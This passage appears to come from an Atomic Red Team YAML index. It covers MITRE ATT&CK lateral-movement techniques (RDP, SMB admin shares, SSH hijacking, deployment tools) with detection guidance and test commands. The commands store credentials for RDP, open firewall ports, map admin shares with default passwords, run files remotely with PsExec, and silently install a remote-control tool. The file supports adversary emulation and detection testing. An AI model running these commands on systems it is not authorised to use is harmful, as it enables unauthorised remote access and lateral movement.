          description: ComputerName
          type: String
          default: WIN-DC
        username:
          description: Username
          type: String
          default: Administrator
        password:
          description: Password
          type: String
          default: 1password2!
      executor:
        command: |
          $Server="#{logonserver}"
          $User="#{username}"
          $Password="#{password}"
          cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
          mstsc /v:$Server
          echo "RDP connection established"
        cleanup_command: |
          $p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
          if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
        name: powershell
    - name: Changing RDP Port to Non Standard Port via Powershell
      auto_generated_guid: 2f840dd4-8a2e-4f44-beb3-6b2399ea3771
      description: 'Changing RDP Port to Non Standard Port via Remote Desktop Application
        over Powershell

'
      supported_platforms:
      - windows
      input_arguments:
        OLD_Remote_Port:
          description: Default RDP Listening Port
          type: String
          default: '3389'
        NEW_Remote_Port:
          description: New RDP Listening Port
          type: String
          default: '4489'
      executor:
        command: |
          Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
          New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
        cleanup_command: "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal
          Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{OLD_Remote_Port}\nRemove-NetFirewallRule
          -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction ignore \n"
        name: powershell
    - name: Changing RDP Port to Non Standard Port via Command_Prompt
      auto_generated_guid: 74ace21e-a31c-4f7d-b540-53e4eb6d1f73
      description: 'Changing RDP Port to Non Standard Port via Command_Prompt

'
      supported_platforms:
      - windows
      input_arguments:
        OLD_Remote_Port:
          description: Default RDP Listening Port
          type: String
          default: '3389'
        NEW_Remote_Port:
          description: New RDP Listening Port
          type: String
          default: '4489'
      executor:
        command: |
          reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} -f
          netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
        cleanup_command: |
          reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} -f >nul 2>&1
          netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1563:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1563
        url: https://attack.mitre.org/techniques/T1563
      - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
          RDS and RemoteApp sessions transparently to move through an organisation.
          Retrieved December 11, 2017.
        source_name: RDP Hijacking Medium
      - source_name: Breach Post-mortem SSH Hijack
        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
          11 security incident. Retrieved February 17, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Remote Service Session Hijacking
      description: |-
        Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

        Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
      id: attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-23T23:35:58.129Z'
      created: '2020-02-25T18:26:16.994Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.

        Monitor for processes and command-line arguments associated with hijacking service sessions.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - SYSTEM
      - root
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1021:
    technique:
      created: '2017-05-31T21:30:29.858Z'
      modified: '2020-03-25T12:25:03.251Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1021
        url: https://attack.mitre.org/techniques/T1021
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      - source_name: SSH Secure Shell
        url: https://www.ssh.com/ssh
        description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.
      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        source_name: TechNet Remote Desktop Services
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

        In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)
      name: Remote Services
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_detection: Correlate use of login activity related to remote services
        with unusual behavior or other malicious or suspicious activity. Adversaries
        will likely need to learn about an environment and the relationships between
        systems through Discovery techniques prior to attempting Lateral Movement.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Network Share: Network Share Access'
      - 'Module: Module Load'
      x_mitre_system_requirements:
      - Active remote service accepting connections and valid credentials
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1091:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1091
        external_id: T1091
      description: Adversaries may move onto systems, possibly those on disconnected
        or air-gapped networks, by copying malware to removable media and taking advantage
        of Autorun features when the media is inserted into a system and executes.
        In the case of Lateral Movement, this may occur through modification of executable
        files stored on removable media or by copying malware and renaming it to look
        like a legitimate file to trick users into executing it on a separate system.
        In the case of Initial Access, this may occur through manual manipulation
        of the media, modification of systems used to initially format the media,
        or modification to the media's firmware itself.
      name: Replication Through Removable Media
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-07-14T19:45:59.638Z'
      created: '2017-05-31T21:31:08.977Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'File: File Creation'
      - 'Drive: Drive Creation'
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute from removable media after it is mounted or when initiated by
        a user. If a remote access tool is used in this manner to move laterally,
        then additional actions are likely to occur after execution, such as opening
        network connections for Command and Control and system and network information
        Discovery.
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Removable media allowed, Autorun enabled or vulnerability present that allows
        for code execution
      x_mitre_platforms:
      - Windows
      identifier: T1091
    atomic_tests:
    - name: USB Malware Spread Simulation
      auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75
      description: "Simulates an adversary copying malware to all connected removable
        drives. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: |
          $RemovableDrives=@()
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          write-host "Removable Drive Found:" $Drive
          New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
          }
        cleanup_command: |
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
          }
  T1021.002:
    technique:
      created: '2020-02-11T18:25:28.212Z'
      modified: '2020-03-23T21:16:02.812Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      id: attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

        SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

        Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)
      name: SMB/Windows Admin Shares
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1021.002
        url: https://attack.mitre.org/techniques/T1021/002
      - external_id: CAPEC-561
        source_name: capec
        url: https://capec.mitre.org/data/definitions/561.html
      - url: https://en.wikipedia.org/wiki/Server_Message_Block
        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
          December 21, 2017.
        source_name: Wikipedia Server Message Block
      - url: https://technet.microsoft.com/en-us/library/cc787851.aspx
        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
          2016.
        source_name: TechNet RPC
      - url: http://support.microsoft.com/kb/314984
        description: Microsoft. (n.d.). How to create and delete hidden or administrative
          shares on client computers. Retrieved November 20, 2014.
        source_name: Microsoft Admin Shares
      - source_name: Lateral Movement Payne
        description: Payne, J. (2015, November 26). Tracking Lateral Movement Part
          One - Special Groups and Specific Service Accounts. Retrieved February 1,
          2016.
        url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
      - url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
        description: Payne, J. (2015, November 23). Monitoring what matters - Windows
          Event Forwarding for everyone (even if you already have a SIEM.). Retrieved
          February 1, 2016.
        source_name: Windows Event Forwarding Payne
      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
        source_name: Medium Detecting WMI Persistence
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: 'Ensure that proper logging of accounts used to log into
        systems is turned on and centrally collected. Windows logging is able to collect
        success/failure for accounts that may be used to move laterally and can be
        collected using tools such as Windows Event Forwarding. (Citation: Lateral
        Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login
        events and associated SMB activity for file transfers and remote process execution.
        Monitor the actions of remote users who connect to administrative shares.
        Monitor for use of tools and commands to connect to remote shares, such as
        [Net](https://attack.mitre.org/software/S0039), on the command-line interface
        and Discovery techniques that could be used to find remotely accessible systems.(Citation:
        Medium Detecting WMI Persistence)'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Creation'
      - 'Network Share: Network Share Access'
      x_mitre_system_requirements:
      - SMB enabled; Host/network firewalls not blocking SMB ports between source
        and destination; Use of domain account in administrator group on remote system
        or default system admin account.
      identifier: T1021.002
    atomic_tests:
    - name: Map admin share
      auto_generated_guid: 3386975b-367a-4fbb-9d77-4dcf3639ffd3
      description: 'Connecting To Remote Shares

'
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: Username
          type: String
          default: DOMAIN\Administrator
        share_name:
          description: Examples C$, IPC$, Admin$
          type: String
          default: C$
        password:
          description: Password
          type: String
          default: P@ssw0rd1
        computer_name:
          description: Target Computer Name
          type: String
          default: Target
      executor:
        command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password}
          /u:#{user_name}"

'
        name: command_prompt
    - name: Map Admin Share PowerShell
      auto_generated_guid: 514e9cd7-9207-4882-98b1-c8f791bae3c5
      description: 'Map Admin share utilizing PowerShell

'
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Examples C$, IPC$, Admin$
          type: String
          default: C$
        map_name:
          description: Mapped Drive Letter
          type: String
          default: g
        computer_name:
          description: Target Computer Name
          type: String
          default: Target
      executor:
        command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

'
        name: powershell
    - name: Copy and Execute File with PsExec
      auto_generated_guid: 0eb03d41-79e4-4393-8e57-6344856be1cf
      description: 'Copies a file to a remote host and executes it using PsExec. Requires
        the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

'
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: File to copy and execute
          type: Path
          default: C:\Windows\System32\cmd.exe
        remote_host:
          description: Remote computer to receive the copy and execute the file
          type: String
          default: "\\\\localhost"
        psexec_exe:
          description: Path to PsExec
          type: string
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_exe})

'
        prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force
      executor:
        command: "#{psexec_exe} #{remote_host} -accepteula -c #{command_path}\n"
        name: command_prompt
        elevation_required: true
    - name: Execute command writing output to local Admin Share
      auto_generated_guid: d41aaab5-bdfe-431d-a3d5-c29e9136ff46
      description: |
        Executes a command, writing the output to a local Admin Share.
        This technique is used by post-exploitation frameworks.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Remote computer to receive the copy and execute the file
          type: String
          default: output.txt
        command_to_execute:
          description: Command to execute for output.
          type: String
          default: hostname
      executor:
        command: 'cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file}
          2>&1

'
        name: command_prompt
        elevation_required: true
  T1021.004:
    technique:
      created: '2020-02-11T18:27:15.774Z'
      modified: '2020-03-23T23:43:46.977Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      id: attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

        SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)
      name: SSH
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1021.004
        url: https://attack.mitre.org/techniques/T1021/004
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      - source_name: SSH Secure Shell
        url: https://www.ssh.com/ssh
        description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Use of SSH may be legitimate depending on the environment
        and how it’s used. Other factors, such as access patterns and activity that
        occurs after a remote login, may indicate suspicious or malicious behavior
        with SSH. Monitor for user accounts logged into systems they would not normally
        access or access patterns to multiple systems over a relatively short period
        of time.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Logon Session: Logon Session Creation'
      x_mitre_system_requirements:
      - An SSH server is configured and running.
    atomic_tests: []
  T1563.001:
    technique:
      id: attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8
      description: |-
        Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

        In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

        [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      name: SSH Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1563.001
        url: https://attack.mitre.org/techniques/T1563/001
      - url: https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
        description: Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using
          ssh. Retrieved January 8, 2018.
        source_name: Slideshare Abusing SSH
      - url: https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
        description: 'Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion
          SSH Hijacking. Retrieved December 19, 2017.'
        source_name: SSHjack Blackhat
      - url: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
        description: Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved
          December 20, 2017.
        source_name: Clockwork SSH Agent Hijacking
      - source_name: Breach Post-mortem SSH Hijack
        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
          11 security incident. Retrieved February 17, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-23T23:11:24.682Z'
      created: '2020-02-25T18:34:38.290Z'
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_permissions_required:
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Use of SSH may be legitimate, depending upon the network
        environment and how it is used. Other factors, such as access patterns and
        activity that occurs after a remote login, may indicate suspicious or malicious
        behavior with SSH. Monitor for user accounts logged into systems they would
        not normally access or access patterns to multiple systems over a relatively
        short period of time. Also monitor user SSH-agent socket files being used
        by different users.
      x_mitre_system_requirements:
      - SSH service enabled, trust relationships configured, established connections
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Anastasios Pingios
    atomic_tests: []
  T1051:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1051
        url: https://attack.mitre.org/techniques/T1051
      - external_id: CAPEC-563
        source_name: capec
        url: https://capec.mitre.org/data/definitions/563.html
      - description: 'Microsoft. (2016, October 20). How to: Find the Web Application
          Root. Retrieved July 27, 2018.'
        source_name: Microsoft Web Root OCT 2016
      - url: http://httpd.apache.org/docs/2.4/getting-started.html#content
        description: Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation
          - Web Site Content. Retrieved July 27, 2018.
        source_name: Apache Server 2018
      - url: https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/
        description: Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on
          the Rise. Retrieved October 3, 2018.
        source_name: Webroot PHP 2011
      description: |-
        **This technique has been deprecated and should no longer be used.**

        Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

        This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
      name: Shared Webroot
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-30T13:56:55.356Z'
      created: '2017-05-31T21:30:46.047Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: Use file and process monitoring to detect when files are
        written to a Web server by a process that is not the normal Web server process
        or when files are written outside of normal administrative time periods. Use
        process monitoring to identify normal processes that run on the Web server
        and detect processes that are not typically executed.
      x_mitre_system_requirements:
      - Shared webroot directory on remote system
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1072:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1072
        url: https://attack.mitre.org/techniques/T1072
      - external_id: CAPEC-187
        source_name: capec
        url: https://capec.mitre.org/data/definitions/187.html
      description: |-
        Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

        Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

        The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.
      name: Software Deployment Tools
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-12-11T17:00:00.938Z'
      created: '2017-05-31T21:30:57.201Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      x_mitre_detection: "Detection methods will vary depending on the type of third-party
        software or system and how it is typically used. \n\nThe same investigation
        process can be applied here as with other potentially malicious activities
        where the distribution vector is initially unknown but the resulting activity
        follows a discernible pattern. Analyze the process execution trees, historical
        activities from the third-party application (such as what types of files are
        usually pushed), and the resulting activities or events from the file/binary/script
        pushed to systems. \n\nOften these third-party applications will have logs
        of their own that can be collected and correlated with other data from the
        environment. Ensure that third-party application logs are on-boarded to the
        enterprise logging system and the logs are regularly reviewed. Audit software
        deployment logs and look for suspicious or unauthorized activity. A system
        not typically used to push software to clients that suddenly is used for such
        a task outside of a known admin function may be suspicious. Monitor account
        login activity on these applications to detect suspicious/abnormal usage.\n\nPerform
        application deployment at regular times so that irregular deployment activity
        stands out. Monitor process activity that does not correlate to known good
        software. Monitor account login activity on the deployment system."
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_remote_support: true
      x_mitre_contributors:
      - Shane Tully, @securitygypsy
      identifier: T1072
    atomic_tests:
    - name: Radmin Viewer Utility
      auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129
      description: 'An adversary may use Radmin Viewer Utility to remotely control
        Windows device, this will start the radmin console.

'
      supported_platforms:
      - windows
      input_arguments:
        radmin_installer:
          description: Radmin Viewer installer
          type: Path
          default: "%TEMP%\\RadminViewer.msi"
        radmin_exe:
          description: The radmin.exe executable from RadminViewer.msi
          type: Path
          default: "%PROGRAMFILES(x86)%/Radmin Viewer 3/Radmin.exe"
      dependencies:
      - description: 'Radmin Viewer Utility must be installed at specified location
          (#{radmin_exe})

'
        prereq_command: 'if not exist "#{radmin_exe}" (exit /b 1)

'
        get_prereq_command: |
          echo Downloading radmin installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" #{radmin_installer}
          msiexec /i "#{radmin_installer}" /qn
      executor:
        name: command_prompt
        elevation_required: true
        command: '"#{radmin_exe}"'
  T1080:
    technique:
      id: attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Taint Shared Content
      description: |2-

        Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

        A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

        Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
      external_references:
      - source_name: mitre-attack
        external_id: T1080
        url: https://attack.mitre.org/techniques/T1080
      - external_id: CAPEC-562
        source_name: capec
        url: https://capec.mitre.org/data/definitions/562.html
      - url: https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html
        description: Routin, D. (2017, November 13). Abusing network shares for efficient
          lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.
        source_name: Retwin Directory Share Pivot
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
